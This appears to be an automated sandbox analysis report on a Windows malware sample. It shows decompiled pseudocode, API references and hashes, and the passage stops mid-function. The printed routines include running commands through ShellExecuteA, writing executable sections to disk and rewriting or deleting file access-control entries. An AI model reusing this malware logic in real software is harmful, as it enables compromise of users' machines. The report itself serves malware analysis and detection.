0x00000000
0x00000000
0x00405721
0x0040573c
0x00405743
0x00405745
0x00000000
0x00000000
0x0040574a
0x0040574d
0x00405782
0x00405785
0x0040578a
0x00000000
0x0040578a
0x0040574f
0x0040574f
0x0040574f
0x00405752
0x00405752
0x00405758
0x00405760
0x00405760
0x00000000
0x00405769
0x004055e9
0x00405517
0x0040551a
0x00405521
0x00000000
0x00000000
0x00000000
0x00405521
0x00405b3c
0x00405b3c
0x00405b3d
0x00405b3d
0x00405b4f
0x00405b4f
0x00405b4f
0x00405b4f
0x00405b5e
0x00405b63
0x00405b69
0x00405b6e
0x00405b71
0x00405b74
0x00405b83

APIs

Part of subcall function 00404763: lstrlenA.KERNEL32(00000000,00000000,%FROM_EMAIL,?), ref: 00404811

lstrlenA.KERNEL32(-00000010,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,%FROM_EMAIL), ref: 0040554D
lstrcpynA.KERNEL32(?,?,00000000), ref: 0040559E
lstrcpyA.KERNEL32(00000000), ref: 004058E8
lstrcpynA.KERNEL32(?,00000000,0040B85A), ref: 00405946
lstrcpyA.KERNEL32(00000000), ref: 00405AA0

Strings

%FROM_EMAIL, xrefs: 004054B3

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcpylstrcpynlstrlen
String ID: %FROM_EMAIL
API String ID: 3222694843-2903620461
Opcode ID: 5b02038fdb848ca5ddd4926b168a8b24c7f9639c9dab1209102afbd6feaacd70
Instruction ID: 07172b26d74c3f8a06bb695c9723ea0a37a2f36a88d348010441240d05331317
Opcode Fuzzy Hash: 5b02038fdb848ca5ddd4926b168a8b24c7f9639c9dab1209102afbd6feaacd70
Instruction Fuzzy Hash: 103281B5A00104AFCF04DF6AC995EAEBBB5EF95304F50447EE512A7292DB789E40CF18

Uniqueness

Uniqueness Score: -1.00%

Function 004099D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004099D2(int __edx, void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, int _a20) {
				signed int _t14;
				void* _t21;
				CHAR* _t22;
				void* _t24;
				int _t25;

				_t25 = __edx;
				_t22 = _a8;
				lstrcpyA(_t22, _a4);
				E00408274(_t22);
				_push(0);
				_push(_a12);
				_t14 = E00406C6F((E0040ECA5() & 0x0000000f) << 0x00000014 | 0x00005f05);
				_pop(_t24);
				_push(_t14 ^ 0x5f5f5f5f);
				E0040F133();
				lstrcatA(_a12, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
				E0040EE2A(_t24, 0x4122f8, 0, 0x100);
				lstrcatA(_t22, _a12);
				_t21 = E00406A60(_t25, _t22, _a16, _a20); // executed
				return _t21;
			}

0x004099d2
0x004099d6
0x004099df
0x004099e6
0x004099ec
0x004099ee
0x00409a02
0x00409a07
0x00409a0d
0x00409a0e
0x00409a3c
0x00409a46
0x00409a52
0x00409a5b
0x00409a67

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,74B481D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: 6ba982fac4845a0e5bafb1b77410664216b068c32850e25b00841fed20194b25
Instruction ID: 597e4742daf9b0f934646103fbf4c589970739a71c0a2e8d4cc1e57e4172a085
Opcode Fuzzy Hash: 6ba982fac4845a0e5bafb1b77410664216b068c32850e25b00841fed20194b25
Instruction Fuzzy Hash: 95018FB294020877EA102F62AC46F9F3F1DEB54728F04483AF619790D2D9B994609AAC

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

0x00404001
0x00404006
0x00404008
0x0040400b
0x00404021
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404035
0x00404052
0x00000000
0x0040403c
0x0040403f
0x00404059
0x00000000
0x0040405b
0x00404046
0x0040404c
0x00404050
0x00000000
0x00000000
0x00000000
0x00404050
0x00404035
0x00404057
0x00000000

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 00406987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00406987(void* __ecx, void* _a4, void* _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				long _v12;
				signed int _t50;
				int _t52;
				signed int _t53;
				int _t59;
				signed int _t60;
				long _t68;
				signed int _t74;
				void* _t78;
				void* _t85;

				_t78 = _a8;
				_t48 =  *((intOrPtr*)(_t78 + 0x3c)) + _t78;
				_t7 =  &_a16; // 0x406b2c
				_t85 = (( *( *((intOrPtr*)(_t78 + 0x3c)) + _t78 + 6) & 0x0000ffff) - 1) * 0x28 + ( *(_t48 + 0x14) & 0x0000ffff) + _t48 + 0x18;
				_t68 =  *(_t85 + 0x14);
				_t50 =  *_t7 - _t68;
				_v8 = _t50;
				if(_t68 >= _a12) {
					L5:
					_a16 = _a16 & 0x00000000;
				} else {
					_t74 =  *(_t85 + 0x10);
					if(_t74 == 0) {
						goto L5;
					} else {
						_v12 = _t74;
						_a16 = _t50 / _t74;
						if(_a16 < 1) {
							_a16 = 1;
						}
						_t20 =  &_a16; // 0x406b2c
						 *(_t85 + 0x10) =  *_t20 * _t74;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t52 = WriteFile(_a4, _t78, _t68,  &_v8, 0); // executed
				if(_t52 == 0 || _v8 != _t68) {
					if(_a16 != 0) {
						 *(_t85 + 0x10) = _v12;
					}
					_t53 = 0;
				} else {
					if(_a16 == 0) {
						L13:
						_t53 = _t68;
					} else {
						 *(_t85 + 0x10) = _v12;
						while(1) {
							_v8 = _v8 & 0x00000000;
							_t59 = WriteFile(_a4, _a8 +  *(_t85 + 0x14), _v12,  &_v8, 0); // executed
							_t60 = _v8;
							if(_t59 == 0 || _t60 != _v12) {
								break;
							}
							_t68 = _t68 + _t60;
							_t41 =  &_a16;
							 *_t41 = _a16 - 1;
							if( *_t41 != 0) {
								continue;
							} else {
								goto L13;
							}
							goto L18;
						}
						asm("sbb eax, eax");
						_t53 =  !_t60 & _t68 + _t60;
					}
				}
				L18:
				return _t53;
			}

0x0040698f
0x00406995
0x004069a7
0x004069aa
0x004069ac
0x004069af
0x004069b1
0x004069b7
0x004069e0
0x004069e0
0x004069b9
0x004069b9
0x004069be
0x00000000
0x004069c0
0x004069c4
0x004069c7
0x004069d0
0x004069d2
0x004069d2
0x004069d5
0x004069db
0x004069db
0x004069be
0x004069e4
0x004069f9
0x004069fd
0x00406a51
0x00406a56
0x00406a56
0x00406a59
0x00406a04
0x00406a08
0x00406a3c
0x00406a3c
0x00406a0a
0x00406a0d
0x00406a10
0x00406a10
0x00406a27
0x00406a2b
0x00406a2e
0x00000000
0x00000000
0x00406a35
0x00406a37
0x00406a37
0x00406a3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a3a
0x00406a45
0x00406a49
0x00406a49
0x00406a08
0x00406a5b
0x00406a5f

APIs

WriteFile.KERNELBASE(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNELBASE(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 4.5, APIs: 3, Instructions: 24
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID:
API String ID: 1209300637-0
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 004091EB, Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004091EB(char* _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				char _v524;
				char _t24;
				char* _t25;
				void* _t27;
				intOrPtr* _t29;
				char* _t31;
				char _t34;
				intOrPtr _t40;
				void* _t41;
				char* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_v12 = _v12 & 0x00000000;
				_t42 = _a8;
				_v8 = 0x10;
				if( *_t42 == 0) {
					L33:
					return _v12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t31 = E0040ED03(_t42, 0xd);
					if(_t31 != 0) {
						L6:
						_t44 = _t31 - _t42;
						if(_t44 >= 0x200) {
							_t44 = 0x1ff;
						}
						E0040EE08( &_v524, _t42, _t44);
						_t46 = _t46 + 0xc;
						 *((char*)(_t45 + _t44 - 0x208)) = 0;
						if(_v524 == 0) {
							goto L27;
						} else {
							_t25 =  &_v524;
							if(_v524 != 0x20) {
								L16:
								while( *_t25 == 0x22) {
									while(1) {
										_t25 =  &(_t25[1]);
										_t34 =  *_t25;
										if(_t34 == 0) {
											break;
										}
										if(_t34 == 0x22) {
											L15:
											_t25 =  &(_t25[1]);
											goto L16;
										}
									}
									if(_t34 != 0x22) {
										L20:
										while( *_t25 != 0) {
											if( *_t25 == 0x20) {
												L22:
												 *_t25 = 0;
												do {
													_t25 =  &(_t25[1]);
												} while ( *_t25 == 0x20);
												L26:
												_t27 = ShellExecuteA(0, _a4,  &_v524, _t25, 0, 0); // executed
												_v12 = _t27;
												if(_t27 != 0x2a) {
													 *0x412180 = _v8 | 0x5f050100;
													 *0x41217c = _t27;
													return _t27;
												} else {
													goto L27;
												}
												while(1) {
													L27:
													_t24 =  *_t31;
													if(_t24 != 0xd && _t24 != 0xa) {
														goto L30;
													}
													_t31 = _t31 + 1;
												}
												goto L30;
											}
											_t25 =  &(_t25[1]);
										}
										if( *_t25 != 0x20) {
											_t25 = 0;
											goto L26;
										}
										goto L22;
									}
									goto L15;
								}
								goto L20;
							} else {
								goto L10;
							}
							do {
								L10:
								_t25 =  &(_t25[1]);
							} while ( *_t25 == 0x20);
							goto L16;
						}
					}
					_t31 = E0040ED03(_t42, 0xa);
					if(_t31 != 0) {
						goto L6;
					}
					_t29 = _t42;
					_t5 = _t29 + 1; // 0x409689
					_t41 = _t5;
					do {
						_t40 =  *_t29;
						_t29 = _t29 + 1;
					} while (_t40 != 0);
					_t31 = _t29 - _t41 + _t42;
					goto L6;
					L30:
					_t42 = _t31;
					if( *_t31 != 0) {
						Sleep(0x1f4); // executed
					}
					_v8 = _v8 + 1;
				} while ( *_t31 != 0);
				goto L33;
			}

0x004091f4
0x004091fb
0x00409201
0x00409208
0x00409308
0x00000000
0x00000000
0x00000000
0x00000000
0x0040920e
0x0040920e
0x00409216
0x0040921c
0x0040923f
0x00409241
0x00409249
0x0040924b
0x0040924b
0x00409259
0x0040925e
0x00409261
0x00409270
0x00000000
0x00409272
0x00409279
0x0040927f
0x00000000
0x0040929b
0x0040928e
0x0040928e
0x0040928f
0x00409293
0x00000000
0x00000000
0x0040928c
0x0040929a
0x0040929a
0x00000000
0x0040929a
0x0040928c
0x00409298
0x00000000
0x004092a8
0x004092a5
0x004092b2
0x004092b2
0x004092b5
0x004092b5
0x004092b6
0x004092bf
0x004092cf
0x004092d5
0x004092db
0x00409319
0x0040931f
0x00000000
0x00000000
0x00000000
0x00000000
0x004092dd
0x004092dd
0x004092dd
0x004092e1
0x00000000
0x00000000
0x004092e7
0x004092e7
0x00000000
0x004092dd
0x004092a7
0x004092a7
0x004092b0
0x004092bd
0x00000000
0x004092bd
0x00000000
0x004092b0
0x00000000
0x00409298
0x00000000
0x00000000
0x00000000
0x00000000
0x00409281
0x00409281
0x00409281
0x00409282
0x00000000
0x00409287
0x00409270
0x00409226
0x0040922c
0x00000000
0x00000000
0x0040922e
0x00409230
0x00409230
0x00409233
0x00409233
0x00409235
0x00409236
0x0040923c
0x00000000
0x004092ea
0x004092ed
0x004092ef
0x004092f6
0x004092f6
0x004092fc
0x004092ff
0x00000000

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNELBASE(000001F4,00000000,00000000,000000C8), ref: 004092F6

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: 895a72187699cfd500e50e110254e5f18968ee6739f923879727fe43d3caa23b
Instruction ID: 421b042742712152b9f572598ef892d28c1bdf3a354cd831b9f92afd62dc30b8
Opcode Fuzzy Hash: 895a72187699cfd500e50e110254e5f18968ee6739f923879727fe43d3caa23b
Instruction Fuzzy Hash: 6D41EE718083497EEB269664988C7E73BA49B52310F2809FFD492B72D3D7BC4D818759

Uniqueness

Uniqueness Score: -1.00%

Function 02F00DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02F00223,?,?), ref: 02F00E02
SetErrorMode.KERNELBASE(00000000,?,?,02F00223,?,?), ref: 02F00E07

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: ae0f0e5728f9ab896ccd2cb5e171045d2773d115ede75cfb4c6f7ffb588b5762
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 77D0123264522CB7DB002A94DC09BCEBB1C9F05BAAF008021FB0DE91C1CBB09A4046EA

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCC, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EBCC(long _a4) {
				void* _t3;
				void* _t7;

				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t3;
				E0040EB74(_t7);
				return _t7;
			}

0x0040ebda
0x0040ebe0
0x0040ebe3
0x0040ebec

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0x768f5820
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x5f5f5f5f;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0x768f5820
				}
				return _t6;
			}

0x00406dc5
0x00406dd5
0x00406de4
0x00406dea
0x00406df1
0x00406df4
0x00406df4
0x00406df6
0x00406df7
0x00406e00
0x00406e24
0x00406e24
0x00406e02
0x00406e14
0x00406e1a
0x00406e22
0x00000000
0x00000000
0x00406e22
0x00406e2e
0x00406e2e
0x00406e35

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32 ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 8d0b75357ce4ddbb8610a0a6a74e899248c5009e1944ad57399bce86fe7390ba
Instruction ID: c619b05b52f668e51a400f0c1ee9c796add8804b79a23c2a52eeeec268d8e2d3
Opcode Fuzzy Hash: 8d0b75357ce4ddbb8610a0a6a74e899248c5009e1944ad57399bce86fe7390ba
Instruction Fuzzy Hash: ECF0C2F6104218AFD710EB64EDC4EE777AED714308F1084B6F286E3141DAB89DA85B6C

Uniqueness

Uniqueness Score: -1.00%

Function 02F3822E, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 02F38276

Memory Dump Source

Source File: 0000001E.00000002.431026712.0000000002F37000.00000040.00000001.sdmp, Offset: 02F37000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 5a905ed79def58e33eb8fa64de6ec0eea9144832aa2057ed31541264020a2df0
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 3EF09635500B106FD7213BF59C8DB6EB6E8BF497A4F100528F742924C0DBB4EC454A61

Uniqueness

Uniqueness Score: -1.00%

Function 02F00920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 02F00929

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: d55294ef36f743dc8c36dbb98379860f5cb269746586b3705c3618cb501ead5b
Instruction ID: cbc9a4f874b6b2558ae3724d98f76a642fb5b4724ccee73b573b27f83fb950bf
Opcode Fuzzy Hash: d55294ef36f743dc8c36dbb98379860f5cb269746586b3705c3618cb501ead5b
Instruction Fuzzy Hash: 9490047034415411DC3035DC0C11F0504015755735F3047107130FD1F4DC40DF401115

Uniqueness

Uniqueness Score: -1.00%

Function 02F37EED, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02F37F3E

Memory Dump Source

Source File: 0000001E.00000002.431026712.0000000002F37000.00000040.00000001.sdmp, Offset: 02F37000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 30590a9baa782e683afc040cf326580fbc71c4281db29611aaf86357f5b0a8e9
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 5A112B79A00208EFDB01DF98C985E99BFF5AF08390F058094FA489B361D371EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407809, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407809(CHAR* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _ACL* _v20;
				signed int _v24;
				int _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				void _v128;
				char _v384;
				char _v512;
				struct _SECURITY_DESCRIPTOR _v1536;
				struct _ACL* _t110;
				int _t120;
				intOrPtr _t121;
				signed int _t123;
				signed int _t141;
				char* _t146;
				signed int _t153;
				void* _t154;
				void* _t155;
				void* _t156;

				_t141 = 0;
				_v28 = 0;
				_v20 = 0;
				_v36 = 0x80;
				if(GetUserNameA( &_v384,  &_v36) == 0) {
					L42:
					return _v28;
				}
				_v32 = 0x44;
				_v40 = 0x80;
				if(LookupAccountNameA(0,  &_v384,  &_v128,  &_v32,  &_v512,  &_v40,  &_v56) == 0) {
					goto L42;
				}
				_v32 = GetLengthSid( &_v128);
				_v44 = 0x400;
				if(GetFileSecurityA(_a4, 5,  &_v1536, 0x400,  &_v44) == 0) {
					goto L42;
				} else {
					if(GetSecurityDescriptorOwner( &_v1536,  &_v16,  &_v48) != 0) {
						_v36 = 0x80;
						_v40 = 0x80;
						if(EqualSid( &_v128, _v16) == 0) {
							_v28 = 1;
							_t155 = LocalAlloc(0x40, 0x14);
							if(_t155 != 0) {
								LocalFree(_t155);
							}
						}
					}
					_v24 = _t141;
					if(GetSecurityDescriptorDacl( &_v1536,  &_v60,  &_v20,  &_v52) == 0) {
						L41:
						goto L42;
					}
					_t110 = _v20;
					if(_t110 == _t141) {
						goto L41;
					}
					_v8 = _v8 & _t141;
					if(0 >= _t110->AceCount) {
						goto L41;
					} else {
						goto L13;
					}
					do {
						L13:
						if(GetAce(_t110, _v8,  &_v12) == 0) {
							L32:
							_v8 = _v8 + 1;
							goto L33;
						}
						_t153 = 0;
						_v16 = _v12 + 8;
						if(_t141 <= 0) {
							L19:
							if(_t141 < 0x20) {
								 *((intOrPtr*)(_t156 + _t141 * 4 - 0xfc)) = _v16;
								_t141 = _t141 + 1;
							}
							_t120 = EqualSid( &_v128, _v16);
							_t146 = _v12;
							if(_t120 == 0) {
								_t121 = 0x1200a8;
							} else {
								asm("sbb eax, eax");
								_t121 = ( ~_a8 & 0x00090046) + 0x1601b9;
							}
							if( *((intOrPtr*)(_t146 + 4)) != _t121) {
								 *((intOrPtr*)(_t146 + 4)) = _t121;
								_t146 = _v12;
								_v24 = 1;
							}
							if( *_t146 != 0 || ( *(_t146 + 1) & 0x00000010) != 0) {
								 *_t146 = 0;
								_t66 = _v16 + 8; // 0xc8685f74
								_t123 =  *_t66;
								if(_t123 != 0) {
									 *((char*)(_v12 + 1)) = (_t123 & 0xffffff00 | _t123 - 0x00000050 > 0x00000000) + 2;
								} else {
									 *((char*)(_v12 + 1)) = 0xb;
								}
								_v24 = 1;
							}
							goto L32;
						}
						while(EqualSid( *(_t156 + _t153 * 4 - 0xfc), _v16) == 0) {
							_t153 = _t153 + 1;
							if(_t153 < _t141) {
								continue;
							}
							break;
						}
						if(_t153 >= _t141) {
							goto L19;
						}
						DeleteAce(_v20, _v8);
						_v24 = 1;
						L33:
						_t110 = _v20;
					} while (_v8 < (_t110->AceCount & 0x0000ffff));
					if(_v24 != 0) {
						_v28 = 1;
						_t154 = LocalAlloc(0x40, 0x14);
						if(_t154 != 0) {
